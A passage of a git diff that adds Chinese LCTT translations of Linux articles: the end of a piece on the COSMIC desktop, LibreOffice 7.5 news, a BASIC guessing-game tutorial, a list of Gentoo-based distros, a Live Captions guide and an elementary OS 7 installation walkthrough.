就开始着手开发他们**基于 Rust 的桌面环境** COSMIC。 + +其目标是制作一些你已经熟悉的 Pop!_OS 的东西,但为你提供一个更快和更可扩展的桌面环境。 + +System76 也决定 [不发布 Pop!_OS 22.10][3],以专注于它的开发。 + +另外,我们的一个社区贡献者尝试了它的一个早期版本,它看起来很有希望: + +> **建议阅读** 📖 +> +> 我试用了 System76 新的基于 Rust 的 COSMIC 桌面!如果你还不知道,System76 的开发者一直在开发一个新的桌面环境(被称为 COSMIC),它是用 Rust 编写的:一种内存安全和超快的编程语言。从头开始创建一个桌面环境并不是一件简单的事。这涉及到创建从合成器、... +> +> ![][5] + +时间过去了一年,我们现在对这个桌面环境有了更多的期待。 + +让我们来探索一下 System76 为我们准备了什么。 + +### COSMIC 桌面的 3 项关键性的改进 + +> 📋 我们讨论的这些变化和草图在最终发布时可能会有变化。 + +在 [最近的一篇博文][6] 中,来自 System76 的 Alex 让我们看到了 COSMIC 桌面环境的发展状况。 + +让我带你看看其中值得注意的亮点: + +- 新的用户界面功能 +- 重新打造的设置应用 +- 新的壁纸功能 + +### 1、新的用户界面功能 + +![cosmic de ui new ui features][7] + +一个新的 [SegmentedButton][8] 部件被用来处理 COSMIC 桌面环境中各处的标签和分段式按钮。 + +它的目的是给人一种简洁、有条理、更集中的菜单体验,而分段式按钮则允许在选择时进行操作。 + +他们还举了一个例子来解释这对用户界面有什么帮助: + +> 当你定制你的桌面以使用水平工作区而不是垂直工作区时,例如,你的选择将导致桌面反映这种行为。 + +### 2、重新打造的设置应用 + +![cosmic de revamped settings menu][9] + +首先,“设置” 应用得到了彻底的整改,现在搜索结果显示为一个连续的、可滚动的、来自不同设置面板的结果列表。 + +> 🗒️ 在最新几轮的内部用户(UX)测试后,具体设置进行了调整。 + +然后是各种设置面板本身的改造。让我带你了解一下。 + +#### 显示调整 + +![cosmic de display settings][10] + +开发人员将图形模式和深浅色选项移至显示设置面板。在测试过程中,他们发现大多数用户到显示设置中去是希望找到这些设置。 + +![][11] + +此外,当使用多个显示器时,显示设置将根据显示器被组织到专门的选项卡中,并有改变或添加颜色配置文件的选项。 + +#### 电源选项 + +![][12] + +这个设置面板现在可以显示连接的无线设备的电池电量和所有连接设备的概览。 + +你还可以根据你的要求选择电源配置文件,并限制笔记本电脑的电池充电,以保护电池寿命。 + +#### 地区和语言选择 + +![cosmic de region language settings][13] + +该设置已被划分为不同的类别,以便于访问。它们被分为几个的类别,以选择日历、日期、温度和测量的区域格式。 + +#### 声音 + +声音设置中增加了一个新的选项,可以让你调整个别警报和应用程序的音量。 + +![cosmic de sound settings][14] + +此外,拥有两个或更多扬声器的用户现在可以使用新的扬声器测试工具来优化其设置。 + +### 3、新的壁纸功能 + +![][15] + +COSMIC 桌面环境可以让你设置一张壁纸,每个显示器一张,或者让你以幻灯片的形式循环播放多张壁纸。这是给**多显示器用户的一个好消息!** + +你还可以对每张壁纸在切换到下一张之前在屏幕上停留的时间进行精细控制。 + +### 🛠️ 其他改进措施 + +除了上面提到的面向用户的变化之外,还有一些内在的改进,包括: + +- 一个新的动态渲染器,[iced-dyrend][16] 已经由 System76 首席工程师实现,旨在动态调整你的 GPU 应该使用什么渲染程序。如果你有 GPU,它可以在 OpenGL 或 Vulkan 之间切换;如果你没有,则可以在 [Softbuffer][17] 之间切换。 +- 通过 [cosmic-text][18] 进行的文本渲染已经与 Softbuffer 0.2.0 配对,允许 [libcosmic][19] 部件库的软件渲染后端在任何操作系统上使用。 +- 开发者还测试了 XWayland 的实现,使 COSMIC 桌面环境能够运行使用 X11 窗口系统的应用程序。 +- COSMIC 桌面环境已经通过 [cosmic-time][20] 动画库加入了对动画的支持。它包含了默认应用程序所使用的动画,并使用 [Iced][21] 工具箱构建。 + +开发者还提到: + +> 虽然 COSMIC 桌面环境是为 Pop!_OS 开发的,但我们的目标是让它的元素也能在其他操作系统上使用。 + +这是很好的消息!如果你想知道 COSMIC 桌面环境是否是 Pop!_OS 独有的东西,也许你也可以在发行版上试试它,希望如此! 😊 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/system76-pop-os-cosmic-de-changes/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/02/cosmic-desktop-changes.png +[2]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[3]: https://news.itsfoss.com/no-pop-os-21-10/ +[4]: https://news.itsfoss.com/content/images/size/w256h256/2022/08/android-chrome-192x192.png +[5]: https://news.itsfoss.com/content/images/wordpress/2022/01/system76-rust-based-distro-ft.png +[6]: https://blog.system76.com/post/more-on-cosmic-de-to-kick-off-2023 +[7]: https://news.itsfoss.com/content/images/2023/02/COSMIC_ui.jpg +[8]: https://github.com/pop-os/libcosmic/pull/56 +[9]: https://news.itsfoss.com/content/images/2023/02/COSMIC_revamped_settings.jpg +[10]: https://news.itsfoss.com/content/images/2023/02/COSMIC_display.png +[11]: https://news.itsfoss.com/content/images/2023/02/multiple-displays.jpg +[12]: https://news.itsfoss.com/content/images/2023/02/COSMIC_power-1.png +[13]: https://news.itsfoss.com/content/images/2023/02/COSMIC_region_language.png +[14]: https://news.itsfoss.com/content/images/2023/02/COSMIC_sound.png +[15]: https://news.itsfoss.com/content/images/2023/02/COSMIC_wallpapers-1.png +[16]: https://github.com/pop-os/iced/commit/f1310e47617c3046a3cd98e20e373247f19327af +[17]: https://github.com/rust-windowing/softbuffer/ +[18]: https://github.com/pop-os/cosmic-text +[19]: https://github.com/pop-os/libcosmic +[20]: https://github.com/pop-os/cosmic-time +[21]: https://github.com/iced-rs/iced +[22]: https://mastodon.social/@itsfoss +[23]: https://twitter.com/itsfoss2 diff --git a/published/202302/20230202.0 ⭐️ LibreOffice 7.5 Unveils Stunning New App Icons and Cool Features.md b/published/202302/20230202.0 ⭐️ LibreOffice 7.5 Unveils Stunning New App Icons and Cool Features.md new file mode 100644 index 0000000000..84953f683a --- /dev/null +++ b/published/202302/20230202.0 ⭐️ LibreOffice 7.5 Unveils Stunning New App Icons and Cool Features.md @@ -0,0 +1,127 @@ +[#]: subject: "LibreOffice 7.5 Unveils Stunning New App Icons and Cool Features" +[#]: via: "https://news.itsfoss.com/libreoffice-7-5-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15511-1.html" + +LibreOffice 7.5 发布:漂亮的新应用图标和酷炫功能 +====== + +> 通过全新的应用程序图标和其他改进,LibreOffice 7.5 似乎有了新的形象。 + +![LibreOffice 7.5 公布了令人惊叹的新应用图标和很酷的功能][1] + +LibreOffice 7.5 社区版来了,带来**许多功能升级和新的应用图标**。 + +之前的主要版本 [7.4 版][2] 为微软的专有文件格式提供了更好的 “互操作性”,并**进一步巩固了 LibreOffice** 作为 Linux 上 [微软 Office 的最佳开源替代品][3] 之一的地位。 + +而现在,一个新的版本来了,里面有很多东西。 + +让我们来看看带来了什么好东西。 + +### 🆕 LibreOffice 7.5 的新变化 + +![LibreOffice 7.5: New Features][4] + +在这个版本中,对 LibreOffice 的所有程序都做了大量的改进;一些关键的亮点包括: + +- 新的应用程序图标 +- Writer 的改进 +- Calc 的改进 +- Impress & Draw 的改进 +- 深色模式的改进 + +#### 新的应用程序图标 + +![LibreOffice 的更新图标][5] + +LibreOffice 现在具有一套新的应用程序图标,看起来相当现代。这些图标在 GNOME 和 KDE Plasma 等新一代的桌面环境中看起来都很漂亮。 + +下面是它与旧图标的对比情况。令人耳目一新,对吗? + +![LibreOffice 旧图标与新图标][6] + +同样,开发者也更新了 LibreOffice 整个界面上用于各种媒体类型/文件的图标集。 + +#### Writer 的改进 + +![LibreOffice Writer 截图][7] + +Writer 应用程序得到了大量的改进,值得注意的包括: + +- 增加了一个新的纯文本类型。 +- 标题和标签的内容控件。 +- 新的组合框类型和将内容控件导出为 PDF 的能力。 +- 对丹麦语、荷兰语、爱沙尼亚语、德语、匈牙利语、挪威语和瑞典语等语言的拼写检查有所改进。 +- 在表格中,当列与合并单元格相交时,对它的检测得到了改进。 +- 书签的编辑和可访问性得到了改进。 +- 一个可以应用于图像、嵌入对象和文本框的装饰性标签,以允许辅助软件在导出的 PDF 中忽略它们。 + +#### Calc 的改进 + +![LibreOffice 7.5 Calc 截图][8] + +在非文本格式的单元格中,带有前导撇号(')的单元格输入现在将永久删除第一个撇号以防止混淆。 + +增加了对 Kamenický 和 Mazovia 编码的支持,同时对条件格式化进行了改进。 + +此外,在函数向导中搜索一个术语时,现在会通过函数描述以及它们的名称进行匹配。 + +#### Impress & Draw 的改进 + +Impress 现在支持在媒体形状中添加裁剪过的视频,还修复了 EMF 图形的模糊问题。 + +![LibreOffice Draw 的新的表格风格设计功能][9] + +在 Draw 里,增加了对修改表格样式和创建新表格的基本支持。修改后的样式被保存到文档中,并可以做成模板和共享。 + +> 🗒️ 你可以通过右键单击 “表格设计” 侧边栏面板中的设计来访问修改表格样式的功能。 + +#### 🛠️ 其他变化和改进 + +这些并不是 7.5 版本中对 LibreOffice 的唯一改进。 + +像**更好地支持深色和高对比度的主题,支持图表中的数据表格,对核心的各种改进,以及更多的东西使它成为一个完善的版本。一些改进是针对 macOS 和 Windows 等平台的,以及针对 Linux 的。 + +你可以从 [官方发布说明][10] 或 [公告][11] 中查看所有的技术变化。 + +### 下载 LibreOffice 7.5 + +LibreOffice 7.5 可以从 [官方下载页面][12] 获得。 + +你可以找到 deb 和 rpm 文件以及用于 Windows 和 macOS(Intel/ARM)的 软件包。 + +> **[LibreOffice 7.5][12]** + +你也可以选择 Torrent 文件以获得更顺畅的下载体验。 + +对于现有的用户,根据你的 Linux 发行版,预计在未来几天/几周会有更新。你可以选择 Flatpak 包以更快地获得最新版本。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/libreoffice-7-5-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/02/libreoffice-7.5-release.png +[2]: https://news.itsfoss.com/libreoffice-7-4-release/ +[3]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[4]: https://youtu.be/ZlAmjIwUvs4 +[5]: https://news.itsfoss.com/content/images/2023/02/LibreOffice_7.5_Icons.png +[6]: https://news.itsfoss.com/content/images/2023/02/libreoffice-icons.jpg +[7]: https://news.itsfoss.com/content/images/2023/02/libreoffice-writer.png +[8]: https://news.itsfoss.com/content/images/2023/02/libreoffice-7-5.png +[9]: https://news.itsfoss.com/content/images/2023/02/LibreOffice_7.5_Table_Design.png +[10]: https://wiki.documentfoundation.org/ReleaseNotes/7.5 +[11]: https://blog.documentfoundation.org/blog/2023/02/02/tdf-announces-libreoffice-75-community/ +[12]: https://www.libreoffice.org/download/download-libreoffice/ diff --git a/published/202302/20230202.1 ⭐️ Learn Basic by coding a game.md b/published/202302/20230202.1 ⭐️ Learn Basic by coding a game.md new file mode 100644 index 0000000000..bc1ec0b08f --- /dev/null +++ b/published/202302/20230202.1 ⭐️ Learn Basic by coding a game.md @@ -0,0 +1,137 @@ +[#]: subject: "Learn Basic by coding a game" +[#]: via: "https://opensource.com/article/23/2/learn-basic-coding-game" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15529-1.html" + +通过“猜数字”游戏学习 Basic +====== + +![][0] + +> 本教程让你通过编写一个 “猜数字” 游戏来探索 Basic。 + +用多种语言编写同一个应用是学习新的编程语言的好方法。大多数编程语言都有某些共同点,如: + +- 变量 +- 表达式 +- 语句 + +这些概念是大多数编程语言的基础。当你理解了它们,你就可以开始研究其他的东西了。 + +编程语言通常有一些相似之处。当你了解了一种编程语言,你就可以通过认识其差异来学习另一种语言的基础知识。 + +用标准程序进行练习是学习新语言的一个好方法。它使你能够专注于语言,而不是程序的逻辑。在这个系列文章中,我使用了一个“猜数字”的程序,在这个程序中,计算机在 1 到 100 之间挑选一个数字,并要求你猜出来。程序循环进行,直到你猜对数字为止。 + +这个程序锻炼了编程语言中的几个概念: + +- 变量 +- 输入 +- 输出 +- 条件判断 +- 循环 + +这是学习一种新的编程语言的很好的实践。本文主要介绍 Basic。 + +### 在(Bywater)Basic 中猜数字 + +对于 Basic 编程语言,没有真正的标准。维基百科说:“BASIC(初学者通用符号指令代码Beginners' All-purpose Symbolic Instruction Code)是一个通用的高级编程语言系列,旨在方便使用”。[BWBasic][1] 的实现是在 GPL 下提供的。 + +你可以通过编写一个“猜数字”游戏来探索 Basic。 + +### 在 Linux 上安装 Basic + +在 Debian 或 Ubuntu 中,你可以用以下方法安装 Basic: + +``` +$ apt install -y bwbasic +``` + +下载 Fedora、CentOS、Mageia 和其他任何 Linux 发行版的最新版本 tarball。解压并设置可执行,然后从终端运行它: + +``` +$ tar --extract --file bwbasic*z + +$ chmod +x bywater + +$ ./bywater +``` + +在 Windows 上,[下载 .exe 版本][2]。 + +### Basic 代码 + +下面是我的实现: + +``` +10 value$ = cint(rnd * 100) + 1 +20 input "enter guess"; guess$ +30 guess$ = val(guess$) +40 if guess$ < value$ then print "Too low" +50 if guess$ > value$ then print "Too high" +60 if guess$ = value$ then 80 +70 goto 20 +80 print "That's right" +``` + +Basic 程序可以是编号的,也可以是不编号的。通常情况下,写程序时最好不编号,但用编号的行来写,可以更容易地引用各个行。 + +按照惯例,编码者将行写成 10 的倍数。这种方法允许在现有的行之间插入新的行,以便进行调试。下面是我对上述方法的解释: + +- 10 行:使用内置的 `rnd` 函数计算一个 1 到 100 之间的随机值,该函数生成一个 0 到 1 之间的数字,不包括 1。 +- 20 行:询问一个猜测,并将该值放入 `guess$` 标量变量。30 行将该值转换为一个数字。 +- 40 行和 50 行:根据比较结果,给猜测者以反馈。 +- 70 行:回到循环的起点。 +- 60 行:通过将控制权转移到 80 行来打破循环。80 行是最后一行,所以程序在这之后退出。 + +### 输出示例 + +下面是将该程序放入 `program.bas` 后的一个例子: + +``` +$ bwbasic program.bas +Bywater BASIC Interpreter/Shell, version 2.20 patch level 2 +Copyright (c) 1993, Ted A. Campbell +Copyright (c) 1995-1997, Jon B. Volkoff + +enter guess? 50 +Too low +enter guess? 75 +Too low +enter guess? 88 +Too high +enter guess? 80 +Too low +enter guess? 84 +Too low +enter guess? 86 +Too high +enter guess? 85 +That's right +``` + +### 开始学习 + +这个“猜数字”游戏是学习新的编程语言的一个很好的入门程序,因为它以一种相当直接的方式锻炼了几个常见的编程概念。通过在不同的编程语言中实现这个简单的游戏,你可以展示这些语言的一些核心概念,并比较它们的细节。 + +你有喜欢的编程语言吗?你会如何用它来写“猜数字”的游戏?请关注本系列文章,看看你可能感兴趣的其他编程语言的例子吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/learn-basic-coding-game + +作者:[Moshe Zadka][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lkxed +[1]: https://yeolpishack.net/repos/ChipMaster/bwBASIC +[2]: https://github.com/nerun/bwbasic/releases +[0]: https://img.linux.net.cn/data/attachment/album/202302/11/103834qsra0ryedbdnrdez.jpg \ No newline at end of file diff --git a/published/202302/20230203.0 ⭐️⭐️ 7 Best Gentoo-Based Linux Distributions.md b/published/202302/20230203.0 ⭐️⭐️ 7 Best Gentoo-Based Linux Distributions.md new file mode 100644 index 0000000000..903fe0b510 --- /dev/null +++ b/published/202302/20230203.0 ⭐️⭐️ 7 Best Gentoo-Based Linux Distributions.md @@ -0,0 +1,134 @@ +[#]: subject: "7 Best Gentoo-Based Linux Distributions" +[#]: via: "https://itsfoss.com/gentoo-based-distros/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15521-1.html" + +7 个最佳的基于 Gentoo Linux 的发行版 +====== + +![][0] + +Gentoo Linux 是 [适合高级用户的最佳 Linux 发行版][1] 之一。如果你想要类似的东西,但又想轻松些,那么基于 Gentoo 的发行版是你的解决方案。 + +Gentoo Linux 以其软件包管理器 [Portage][2] 而闻名,它允许你根据你的要求定制每个软件包,并从头开始构建/配置。这样,你就能以最好的方式来优化你的系统体验。 + +然而,可以理解的是,由于它的学习曲线或设置它所需付出的努力,不是每个人都喜欢使用 Gentoo Linux 😫。 + +所以,在这种情况下,你可以尝试基于 Gentoo Linux 的发行版,可更简单轻松些。 + +让我重点介绍其中一些,它们比裸机版的 Gentoo Linux 要好一些。 + +> 📋 该列表没有特定的排名顺序。 +> +> **另外**,像 Gentoo Linux 一样,基于它的发行版并不是为新用户定制的。所以,你可能应该在尝试它们之前仔细阅读每个项目的文档。 + +### 1、Calculate Linux + +![][3] + +[Calculate Linux][4] 专注于提供**即开即用、用户友好的体验**。 + +它是基于 Gentoo 的,并且仍然向后兼容它。你可以通过 Calculate Linux 得到一个滚动发布的版本,但你也可以根据你的要求选择测试版或稳定版的更新版本。 + +它有桌面、服务器、云和测试等不同版本。选择你需要的那个。 + +### 2、CLIP OS + +![][5] + +[CLIP OS][6] 是一个值得关注的基于 Gentoo 的发行版,旨在提供由法国国家网络安全局(ANSSI)建立的安全体验。 + +该项目有两个版本,其中 v4.0 是一个不再开发的参考版本,你可以研究其源代码,并以你喜欢的方式使用它来构建你的 Gentoo 特有体验。 + +而 v5.0 是一个积极开发的项目,在写这篇文章时正处于测试阶段。它听起来可能与 Qubes OS 相似,但它在各方面都有不同。 + +在你想尝试它之前,你得构建一个 CLIP OS 镜像。 + +### 3、Funtoo + +![Funtoo linux livecd][7] + +[Funtoo][8] 是一个基于 Gentoo 的发行版,由 Gentoo Linux 的创造者(前负责人)开发。 + +支撑 Funtoo 的哲学与 Gentoo 有点不同。因此,社区的方法也不同。 + +你可以下载它的 “next” 版本以获得最新的体验,或者选择它的 1.4 版本以获得长期的稳定性。 + +这两个版本都是滚动发布的发行版,只是一个提供较新的软件包。 + +### 4、LiGurOS + +![ligur os install image building screenshot][9] + +[LiGurOS][10] 是 Gentoo 系列操作系统中的又一个选择。它的目的是提供一个**快速而安全的体验**,同时确保 AMD 和英特尔处理器的最新功能能够很好地工作。 + +你会发现两个不同的版本,一个是稳定版,一个是滚动版。它还可以让你选择你喜欢的服务管理器,其中包括对 openRC 的支持。然而,你得构建安装镜像来使用它。 + +在它的 [GitLab 页面][11] 上了解更多关于这个项目的信息。 + +### 5、Pentoo + +![][12] + +[Pentoo Linux][13] 是 [用于渗透测试的最佳 Linux 发行版][14] 之一。 + +你可以找到 32 位和 64 位系统的可安装镜像。开箱即用,你可以得到定制的工具、定制的内核、XFCE 4 窗口管理器,以及更多。 + +### 6、Redcore Linux + +![record linux screenshot][15] + +[Redcore Linux][16] 是一个**基于 Gentoo Linux 测试分支**的发行版,有一个加固后的配置文件以获得更好的安全性。 + +它是 Kogaion Linux(最初是基于 Sabayon Linux)的继承者,而这两个发行版都不再维护。负责它的原始开发小组的成员之一决定用 Redcore 延续其思想。 + +这个发行版的目的是使 Gentoo Linux 能够很容易地安装在兼容的系统上。 + +### 7、Gentoo Studio + +![gentoo studio screenshot][17] + +[Gentoo Studio][18] 是一个为**实时 Linux 音频制作系统**量身定做的基于 Gentoo Linux 的产品。 + +它打包了各种音频应用程序,并默认允许你有不同的自定义选项。 + +与一些专注于工作室的发行版不同,你也许需要检查它所支持的软件包/实用程序是否符合你的制作要求。 + +💬 名单上你最喜欢的是什么?我们是否错过了你的最爱?请在下面的评论区告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gentoo-based-distros/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/advanced-linux-distros/ +[2]: https://wiki.gentoo.org/wiki/Portage +[3]: https://itsfoss.com/content/images/2023/02/calculate-linux.jpg +[4]: https://www.calculate-linux.org +[5]: https://itsfoss.com/content/images/2023/02/clip-os-4.jpg +[6]: https://clip-os.org/en/ +[7]: https://itsfoss.com/content/images/2023/02/funtoo-linux.jpg +[8]: https://www.funtoo.org/ +[9]: https://itsfoss.com/content/images/2023/02/gentoo-based-os-liguros.png +[10]: https://liguros.gitlab.io +[11]: https://gitlab.com/liguros +[12]: https://itsfoss.com/content/images/2023/02/pentoo-linux.jpg +[13]: https://www.pentoo.ch +[14]: https://itsfoss.com/linux-hacking-penetration-testing/ +[15]: https://itsfoss.com/content/images/2023/02/redcore.jpg +[16]: https://redcorelinux.org/#hero +[17]: https://itsfoss.com/content/images/2023/02/gentoo-studio.jpg +[18]: https://gentoostudio.org +[0]: https://img.linux.net.cn/data/attachment/album/202302/08/170807alkcjhljv6veev4h.jpg \ No newline at end of file diff --git a/published/202302/20230204.0 ⭐️ Open source video captioning on Linux.md b/published/202302/20230204.0 ⭐️ Open source video captioning on Linux.md new file mode 100644 index 0000000000..cb0a29bad5 --- /dev/null +++ b/published/202302/20230204.0 ⭐️ Open source video captioning on Linux.md @@ -0,0 +1,92 @@ +[#]: subject: "Open source video captioning on Linux" +[#]: via: "https://opensource.com/article/23/2/live-captions-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15554-1.html" + +Live Captions:Linux 上的开源视频字幕应用 +====== + +![Image showing Live Captions presenting text from a Jitsi call. ][6] + +> Live Captions 是一个用于 Linux 桌面的应用程序,为视频提供即时、本地和开源的字幕。 + +在一个完美的世界里,所有的视频都会有文字说明,直播视频也会有字幕。这不仅是没有听力的人能够参与流行文化和视频聊天的要求,对于有听力的人来说,这也是一种奢侈,他们只是喜欢阅读所说的内容。但并不是所有的软件都有内置的字幕,有些软件是依靠第三方的云服务来实现的。[Live Captions][1] 是 Linux 桌面上的一个应用,为视频提供即时、本地和开源的字幕。 + +### 安装 Live Captions + +你可以通过 [Flatpak][2] 安装 Live Captions。 + +如果你的 Linux 发行版没有附带软件中心,请从终端手动安装它。首先,添加 [Flathub][3] 仓库: + +``` +$ flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +接下来,安装应用: + +``` +$ flatpak install flathub net.sapples.LiveCaptions +``` + +### 启动 Live Captions + +要启动 Live Captions,从你的应用菜单中启动它。 + +或者,你也可以使用 `flatpak` 命令从终端启动它: + +``` +$ flatpak run net.sapples.LiveCaptions +``` + +你也可以使用类似 [Fuzzpak][4] 的命令: + +``` +$ fuzzpak LiveCaptions +``` + +当 Live Captions 首次启动时,你会看到一个配置页面: + +![Image showing preferences in Live Captions.][5] + +你可以设置字体、字体大小、颜色等。默认情况下,Live Captions 不是完全确定的文本会以更深的颜色呈现(LCTT 校注:因为有些语音识别结果不能确保完全正确)。如果你使用实时字幕是为了方便,这可能没有必要,但如果你听不到视频的声音,那么知道哪些文本可能不正确是有用的。 + +你可以随时返回偏好页面,所以你的选择不一定是最终的。 + +### 使用 Live Captions + +当 Live Captions 开始运行,任何通过系统声音传来的英语单词都会被打印到 Live Captions 窗口中。 + +这不是一项云服务。不需要 API 密钥。没有遥测或间谍活动,也没有数据收集。事实上,它甚至不需要网络权限。Live Captions 是开源的,所以没有使用专有的服务或库。 + +要改变声音输入,请点击 Live Captions 窗口左上方的麦克风图标。要打开 “偏好Preferences” 窗口,请点击 Live Captions 窗口左下方的齿轮图标。 + +### 开放访问 + +根据我的经验,Live Captions 的结果是好的。它们并不完美,但在小型的 [Jitsi 视频通话][7]中,它很出色。即使是小众的视频(例如 Warhammer 40K 的激烈比赛),它也做得出奇地好,只在最虚构的科幻术语上磕磕碰碰。 + +让开源代码易于访问是至关重要的,最终它有可能使每个人受益。我个人不需要 Live Captions,但当我不想听视频的时候,我喜欢使用它。当我希望得到帮助以专注于我可能会分心的事情时,我也会使用它。Live Captions 不仅仅是一个有趣的开源项目,它也是一个重要的项目。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/live-captions-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://github.com/abb128/LiveCaptions +[2]: https://opensource.com/article/21/11/install-flatpak-linux +[3]: https://flathub.org/apps/details/net.sapples.LiveCaptions +[4]: https://www.redhat.com/sysadmin/launch-flatpaks-terminal-fuzzpak +[5]: https://opensource.com/sites/default/files/2023-01/live-caption-preferences.png +[6]: https://opensource.com/sites/default/files/2023-01/Livecaptions%20onJitsiCall.png +[7]: https://opensource.com/article/21/9/alternatives-zoom diff --git a/published/202302/20230206.0 ⭐️ Elementary OS 7 Installation Guide with Screenshots.md b/published/202302/20230206.0 ⭐️ Elementary OS 7 Installation Guide with Screenshots.md new file mode 100644 index 0000000000..e4f7becec0 --- /dev/null +++ b/published/202302/20230206.0 ⭐️ Elementary OS 7 Installation Guide with Screenshots.md @@ -0,0 +1,160 @@ +[#]: subject: "Elementary OS 7 Installation Guide with Screenshots" +[#]: via: "https://www.linuxtechi.com/elementary-os-7-installation-guide/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15556-1.html" + +elementary OS 7 安装指南(附截图) +====== + +![][0] + +在这篇文章中,我们将介绍如何在笔记本电脑或台式机上一步一步地安装 elementary OS 7,并附有截图。它基于最新和稳定的 Ubuntu 22.04 LTS。 + +elementary OS 7 的代号为 “Horus”,并带来了很多改进,例如: + +- 改进了 AppCenter 和安装所有需要的应用。 +- 改进了侧载和可选商店(Flathub)的体验。 +- 最新的 GNOME Web 43,支持创建网络应用。 +- 快速获得操作系统和应用的更新 +- 电源配置文件管理 +- 应用描述的改进 + +### elementary OS 7 的系统要求 + +- 双核 64 位处理器 +- 4GB 内存或更多 +- 32GB 硬盘 +- 互联网接入 +- 可启动的 USB 驱动器(4GB 存储空间) + +闲话少说,让我们进入安装步骤: + +### 1)下载 elementary OS 7 + +使用下面的官方网址来下载 ISO 文件。 + +> **[下载 elementary OS 7 ISO][1]** + +ISO 文件下载完成后,将其刻录到 USB 驱动器,并使其可启动。 + +在 Windows 操作系统中,用 Rufus 制作可启动的 USB 驱动器。在 Linux 中,请参考以下网址: + +> **[如何在 Ubuntu/Linux Mint 上创建可启动的 USB 驱动器][2]** + +### 2)用可启动介质启动系统 + +现在用可启动的 USB 驱动器启动目标系统。从 BIOS 设置中把启动介质从硬盘改为 USB。当系统用 USB 驱动器启动时,我们将看到以下页面。 + +![][3] + +### 3)选择安装语言 + +选择你喜欢的语言,然后点击“选择Select”。 + +![][4] + +### 4)选择键盘布局 + +在这一步,你将被要求选择键盘布局,然后点击“选择Select”。 + +![][5] + +### 5)尝试或安装 elementary OS + +我们将看到下面的页面,在这里我们必须选择安装类型。它给了我们以下选项: + +- 试用演示模式Try Demo Mode – 试用 elementary OS 7 而不安装 +- 擦除磁盘并安装Erase disk and Install – 安装程序将擦除整个磁盘并自动创建所需分区。 +- 自定义安装(高级)Custom Install (Advanced) – 它将给我们一个选项来创建自定义分区。 + +在这篇文章中,我将使用第二个选项(擦除磁盘并安装)。 + +![][6] + +点击“擦除磁盘并安装Erase disk and Install”。 + +在下面的屏幕上,选择要安装操作系统的驱动器,然后点击“擦除并安装Erase and Install”。 + +![][7] + +如果你想对设备的驱动器进行加密,那么点击“选择密码Choose Password”,否则点击“不加密Don’t Encrypt”。 + +![][8] + +### 6)安装进度 + +正如我们在下面看到的,安装已经开始,并且正在进行中。 + +![][9] + +安装完成后,安装程序将提示重启系统。 + +![][10] + +点击“重启设备Restart Device”,不要忘记从 BIOS 设置中改变启动介质,以便用磁盘启动。 + +### 7)创建本地用户并设置主机名 + +当系统在安装后启动时,系统会提示你输入本地用户的详细信息和系统的主机名。 + +根据你的要求指定这些细节。 + +![][11] + +点击“完成设置Finish Setup”。 + +在下面的页面中,你将被提示输入你在上面创建的本地用户凭证。 + +![][12] + +输入凭证后,点击回车。 + +### 8)elementary OS 7 欢迎页 + +我们将看到下面的欢迎页。 + +![][13] + +选择“跳过所有Skip All”。 + +![][14] + +点击“开始使用Get Started”,然后我们会看到下面的桌面。 + +![][15] + +很好,这表明你已经成功地在系统上安装了 elementary OS 7。这就是本指南的全部内容,请探索这个令人兴奋的 Linux 发行版并享受其中的乐趣吧😊。 